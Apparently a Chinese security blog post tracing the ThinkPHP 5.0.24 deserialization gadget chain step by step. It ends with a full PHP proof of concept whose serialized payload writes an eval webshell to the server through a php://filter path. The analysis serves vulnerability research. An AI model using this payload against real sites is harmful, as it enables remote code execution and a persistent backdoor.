Thinkphp 5.0.24反序列化分析

Thinkphp 5.0.24反序列化文件写

学了也快一年了 头一次去审计经典的框架洞。(反序列化其实一直不是很熟,所以借这次机会希望能更多的增长知识) 其实网上的链子已经非常多了 呜呜 我真的菜

环境搭建

compose一把索 然后发现./think不能执行 那就不执行好了

image-20210326225816438

PHPstorm 配置 xdebug 写个 index 控制器控制下反序列化,就正式开始了

<?php
namespace app\index\controller;

class Index
{
    public function index($ha1c9on='')
    {
        echo "Welcome thinkphp 5.0.24";
        echo ha1c9on;
        unserialize(base64_decode($ha1c9on));
    }
}

反序列化寻找

写的详细一点,尽量去自己一步步找到链子 而不是看网上的分析

首先反序列化入手点应该不用多说了__destruct

全局搜了下

image-20210326230529298

一共有四个 跟进thinkphp/library/think/process/pipes/Windows.php下的__destruct 发现其调用了removeFiles方法

image-20210326230721170

继续跟进

image-20210326230736910

可以发现 这里存在file_exists函数 而这个函数可以调用__toString方法

为什么`file_exists`函数 可以调用`__toString`方法
`file__exists`处理的时候会将当作字符串来处理 

所以我们全局搜一下__toString

image-20210326231549046

没几个 跟一下 toJson

image-20210326231619872

调用了toArray方法

image-20210326231652861

发现如果类是Model的话 会再次调用 Model类 下的toArray方法

然后发现Model类下也有这个__toString->>toArray 方法

那还挑啥 直接用 model 类就完事了 看看这个toArray 方法干啥了

public function toArray()
{
  $item    = [];
  $visible = [];
  $hidden  = [];

  $data = array_merge($this->data, $this->relation);

  // 过滤属性
  if (!empty($this->visible)) {
    $array = $this->parseAttr($this->visible, $visible);
    $data  = array_intersect_key($data, array_flip($array));
  } elseif (!empty($this->hidden)) {
    $array = $this->parseAttr($this->hidden, $hidden, false);
    $data  = array_diff_key($data, array_flip($array));
  }

  foreach ($data as $key => $val) {
    if ($val instanceof Model || $val instanceof ModelCollection) {
      // 关联模型对象
      $item[$key] = $this->subToArray($val, $visible, $hidden, $key);
    } elseif (is_array($val) && reset($val) instanceof Model) {
      // 关联模型数据集
      $arr = [];
      foreach ($val as $k => $value) {
        $arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
      }
      $item[$key] = $arr;
    } else {
      // 模型属性
      $item[$key] = $this->getAttr($key);
    }
  }
  // 追加属性(必须定义获取器)
  if (!empty($this->append)) {
    foreach ($this->append as $key => $name) {
      if (is_array($name)) {
        // 追加关联对象属性
        $relation   = $this->getAttr($key);
        $item[$key] = $relation->append($name)->toArray();
      } elseif (strpos($name, '.')) {
        list($key, $attr) = explode('.', $name);
        // 追加关联对象属性
        $relation   = $this->getAttr($key);
        $item[$key] = $relation->append([$attr])->toArray();
      } else {
        $relation = Loader::parseName($name, 1, false);
        if (method_exists($this, $relation)) {
          $modelRelation = $this->$relation();
          $value         = $this->getRelationData($modelRelation);

          if (method_exists($modelRelation, 'getBindAttr')) {
            $bindAttr = $modelRelation->getBindAttr();
            if ($bindAttr) {
              foreach ($bindAttr as $key => $attr) {
                $key = is_numeric($key) ? $attr : $key;
                if (isset($this->data[$key])) {
                  throw new Exception('bind attr has exists:' . $key);
                } else {
                  $item[$key] = $value ? $value->getAttr($attr) : null;
                }
              }
              continue;
            }
          }
          $item[$name] = $value;
        } else {
          $item[$name] = $this->getAttr($name);
        }
      }
    }
  }
  return !empty($item) ? $item : [];
}

真的长 仔细看看

image-20210326233552605

大概也许似乎估计差不多这三处可以调用__call方法

这里看最后一个

首先大前提是

if (!empty($this->append)) 
if (method_exists($this, $relation))
if (method_exists($modelRelation, 'getBindAttr'))
if ($bindAttr)

且不满足

if (is_array($name))
elseif (strpos($name, '.'))
if (isset($this->data[$key]))

image-20210327002745395

这里是最难的地方 让我们详细看看怎么办 首先是

$relationappend控制,要满足其不存在 才会进到if下 之后看最后一个else怎么进,也就是这里

image-20210327004030564

可以发现$value来自getRelationData方法处理$modelRelation后,而$modelRelation$relationLoader::parseName处理之后作为方法名的返回值

跟进Loader::parseName

image-20210327004312812

type=1时候 进入if 把大写字母中间加上_再转小写,也就是$modelRelation就是一个Model类任意方法的返回值

看看getRelationData怎么处理的$modelRelation

image-20210327004553252

要求参数是Relation类 所有要找一个可以返回Realtion类对象,经过查找,可以将$modelRelation设为getError

image-20210327003533441

继续看

首先需要进入的是Relation类型的对象,并且要符合这个关键判断

$this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)

才能让$value变成我们想要的东西

首先需要$modelRelationRelation类型。全局查找getRelation方法且为Relation类型的类,找到了HasOne(/thinkphp/library/think/model/relation/HasOne.php)

image-20210327005856838

然后继续看model下面的if 跟进getBindAttr

image-20210327010155217

image-20210327010239708

image-20210327010246897

直接可控 进入$item[$key] = $value ? $value->getAttr($attr) : null;

进入__call方法

全局搜一下call方法

最终漏洞点在这

image-20210327010725762

然后我们跟一下block

image-20210327010743540

writeln

image-20210327010828031

然后我们发现handle可控

image-20210327010847048

那就可以全局搜一下write方法

定位到thinkphp/library/think/session/driver/Memcached.php

image-20210327011614407

依旧handle可控 ,搜set

定位到thinkphp/library/think/cache/driver/File.php

image-20210327011925555

跟进这里的getCacheKey方法 看看文件名是不是可控

image-20210327012104044

$filename = $this->options['path'] . $name . '.php';

options可控 文件名可控 然后看看content

跟进

if ($result) {
  isset($first) && $this->setTagItem($filename);
  clearstatcache();
  return true;
} else {
  return false;
}

setTagItem

image-20210327012510463

发现value的值就为传进来的filename 又调用了一次set,且此处两个参数都是可控的

所以可以在文件名处搞事情,通过编码然后将文件名写入shell中 所以成功写入shell

总结流程

thinkphp/library/think/process/pipes/Windows.php__destruct()$this->removeFiles();触发__toString

thinkphp/library/think/Model.php__toString -> toJson -> toArray

toArray方法中$relationappend控制,要求参数是Relation类 所有要找一个可以返回Realtion类对象,经过查找,可以将$modelRelation设为getError

继续跟进getRelationData首先需要进入的是Relation类型的对象,并且要符合这个关键判断

$this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)

才能让$value变成我们想要的东西,需要$modelRelationRelation类型。全局查找getRelation方法且为Relation类型的类,找到了HasOne(/thinkphp/library/think/model/relation/HasOne.php)

跟进$bindAttr = $modelRelation->getBindAttr(); 中的getBindAttr(),BindAttr可控 进入

__call方法

thinkphp/library/think/console/Output.php__call中跟进block -> writeln -> write -> handle可控

thinkphp/library/think/session/driver/Memcache.phpwrite方法handle可控 调用set

thinkphp/library/think/cache/driver/File.phpset方法filename->getCacheKeyoptions可控 文件内容写入成功后 会调用 setTagItem方法 其中$name可控 再次调用set方法 可以在文件名处使用伪协议编码写入shell

POC

<?php
namespace think\process\pipes {
    class Windows {
        private $files = [];

        public function __construct($files)
        {
            $this->files = [$files]; //$file => /think/Model的子类new Pivot(); Model是抽象类
        }
    }
}

namespace think {
    abstract class Model{
        protected $append = [];
        protected $error = null;
        public $parent;

        function __construct($output, $modelRelation)
        {
            $this->parent = $output;  //$this->parent=> think\console\Output;
            $this->append = array("xxx"=>"getError");     //调用getError 返回this->error
            $this->error = $modelRelation;               // $this->error 要为 relation类的子类,并且也是OnetoOne类的子类==>>HasOne
        }
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model{
        function __construct($output, $modelRelation)
        {
            parent::__construct($output, $modelRelation);
        }
    }
}

namespace think\model\relation{
    class HasOne extends OneToOne {

    }
}
namespace think\model\relation {
    abstract class OneToOne
    {
        protected $selfRelation;
        protected $bindAttr = [];
        protected $query;
        function __construct($query)
        {
            $this->selfRelation = 0;
            $this->query = $query;    //$query指向Query
            $this->bindAttr = ['xxx'];// $value值,作为call函数引用的第二变量
        }
    }
}

namespace think\db {
    class Query {
        protected $model;

        function __construct($model)
        {
            $this->model = $model; //$this->model=> think\console\Output;
        }
    }
}
namespace think\console{
    class Output{
        private $handle;
        protected $styles;
        function __construct($handle)
        {
            $this->styles = ['getAttr'];
            $this->handle =$handle; //$handle->think\session\driver\Memcached
        }

    }
}
namespace think\session\driver {
    class Memcached
    {
        protected $handler;

        function __construct($handle)
        {
            $this->handler = $handle; //$handle->think\cache\driver\File
        }
    }
}

namespace think\cache\driver {
    class File
    {
        protected $options=null;
        protected $tag;

        function __construct(){
            $this->options=[
                'expire' => 3600,
                'cache_subdir' => false,
                'prefix' => '',
                'path'  => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
                'data_compress' => false,
            ];
            $this->tag = 'xxx';
        }

    }
}

namespace {
    $Memcached = new think\session\driver\Memcached(new \think\cache\driver\File());
    $Output = new think\console\Output($Memcached);
    $model = new think\db\Query($Output);
    $HasOne = new think\model\relation\HasOne($model);
    $window = new think\process\pipes\Windows(new think\model\Pivot($Output,$HasOne));
    //echo serialize($window);
    echo base64_encode(serialize($window));
}

发表评论

您的电子邮箱地址不会被公开。 必填项已用*标注

Protected with IP Blacklist CloudIP Blacklist Cloud